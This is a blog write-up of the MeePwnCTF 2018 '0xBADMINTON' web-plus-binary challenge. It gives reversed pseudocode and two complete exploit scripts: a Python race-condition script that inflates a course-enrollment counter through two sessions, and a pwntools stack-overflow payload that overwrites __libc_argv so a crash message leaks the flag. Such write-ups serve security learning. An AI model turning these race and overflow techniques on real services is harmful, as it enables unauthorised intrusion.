MeePwnCTF 2018 Qual Web+PWN 0xBADMINTON Write-up

Introduction

As an enthusiast badminton player, I decide to add a cover page for this write-up. As a CTF player, I think it’s necessary to write a wp for this challenge. This challenge is not hard after reading the write-up given on [1]. But I think there are still a lot of things to learn in the field of web security.

Vulnerability Analysis

PWN

Let’s reverse the logic of the backend programme.

initFlag(); //load flag at 0x604070
initDB();
s[0xc00];
token = read(0x40);
//code to validate token in 0-9a-z
sql_statment = "Select * from users where token=%s", token;
mysql_query(sql_result, sql_statement);
mysql_store_result(sql_result);
row_num = mysql_num_rows(sql_result);
if(row_num <= 0)
    return;

row = mysql_fetch_row(sql_result);
col0 = row[0];
*(0x604138) = atoi(col1);
col1 = row[1];
*(0x604060) = strdup(col2);
col4 = row[4];
*(0x604050) = atoi(col4);

if(*(0x604050) > 0x64) {
    *(0x604050) = 0x64
}
for(i=0; i< *(0x604050); i++) {
    printf("#%d Oh I heard that you already enrolled a course\n", j);
    printf("What is the course name?>");
    read(0, s + i*0x400, 0x400);
}   

At this point, we can clearly see that there is a very obvious stack overflow if the number of enrolled courses if larger than 3.

Web

After getting to know the target of web challenge is to set enroll larger than 3. The first idea coming into mind is to use race condition to set enroll more than 3 times. However, I spend a lot of time trying to use one session to set enroll with multi-threading. After reading [1], I realise that two different sessions are enough.
In the end, we are expected to achieve the following result.

Exploit Plan

The process to read flag is very similar to 34C3 ReadmeRevenge, but much simpler.
Since the binary is not enabled with ASLR, we can use the following code in glibc to read flag by overwriting libc_argv to 0x604070.

__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}

Exploit

I tried to used the C code given in [2], but I found that it does not work on my local machine. So I write a script in python as a practice of web challenge.

Web

import requests
from pwn import *
import thread
import time

remote= "178.128.84.72"

userName = "dangokyo_py";
password = "XXXXXX"; #Replace_your_password_here 

webpage = "http://178.128.84.72";

def login(s, name, pw):
    loginPage = "http://178.128.84.72/login.php?username=%s&password=%s" %  (name, pw);
    r = s.get(loginPage);
    #print(r.text);

def show(s):
    coursePage = "http://178.128.84.72/courses.php";
    r = s.get(coursePage);
    #print(r.text);
    #token = r.text.split('Token: ')[1][:64];
    count = int(r.text.split('Enrolled: ')[1].split(' ')[0]);
    #print(count);
    return count

def enroll(s):
    enrollPage =  "http://178.128.84.72/login.php?action=enroll";
    r = s.get(enrollPage);


def loop_enroll(s, name):
    for i in range(0, 5):
        time.sleep(1);
        enroll(s);


#Aim to trigger race condition
def exploit():
    for i in range(1, 0x10):
        currentCount = 0;
        s1 = requests.Session();
        s2 = requests.Session();
        newName = userName+str(i);
        login(s1, newName, password);
        login(s2, newName, password);
        currentCount = show(s1);
        print("The %d the trial. Initial vaue: %d" % (i, currentCount))
        if(currentCount > 3):
            continue;

        #using multithread to trigger race condition
        try:
            thread.start_new_thread( loop_enroll, (s1, "Session 1", ) );
            thread.start_new_thread( loop_enroll, (s2, "Session 2", ) );
        except:
            print("Error")
        time.sleep(5);
        currentCount = show(s1);
        print("The %d th trial: %d" % (i, currentCount));
        if(currentCount > 3):
            break;

exploit();

The final result is given below:

Pwn

from pwn import *

r = remote("178.128.84.72", 9997);
#This token is not for 
token = "2ed7d901b9b2ee047924d75286907f353f4c1714b418baeec10fc6984f21228d";

r.recvuntil(">");
r.sendline(token);

r.recvuntil(">");
r.send("A");
r.recvuntil(">");
r.send("A");
r.recvuntil(">");
r.send("A");

r.recvuntil(">");
r.send(p64(0x604070)*128);
r.recvuntil(">");
r.send(p64(0x604070)*128);
r.recvuntil(">");
r.send(p64(0x604070)*128);

r.recvuntil(">");
r.sendline("3");

while(True):
    log.info(r.recvline());

Conclusion

Thanks for MeePwn team for providing such an awesome challenge. WEB+PWN is so interesting. I think it is time to learn something about docker and set up some test environment for fun.

Reference

[1] https://ctftime.org/writeup/10438
[2] https://github.com/Jinmo/ctfs/blob/master/2018/meepwn/0xbadmotion_racecondition.c

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.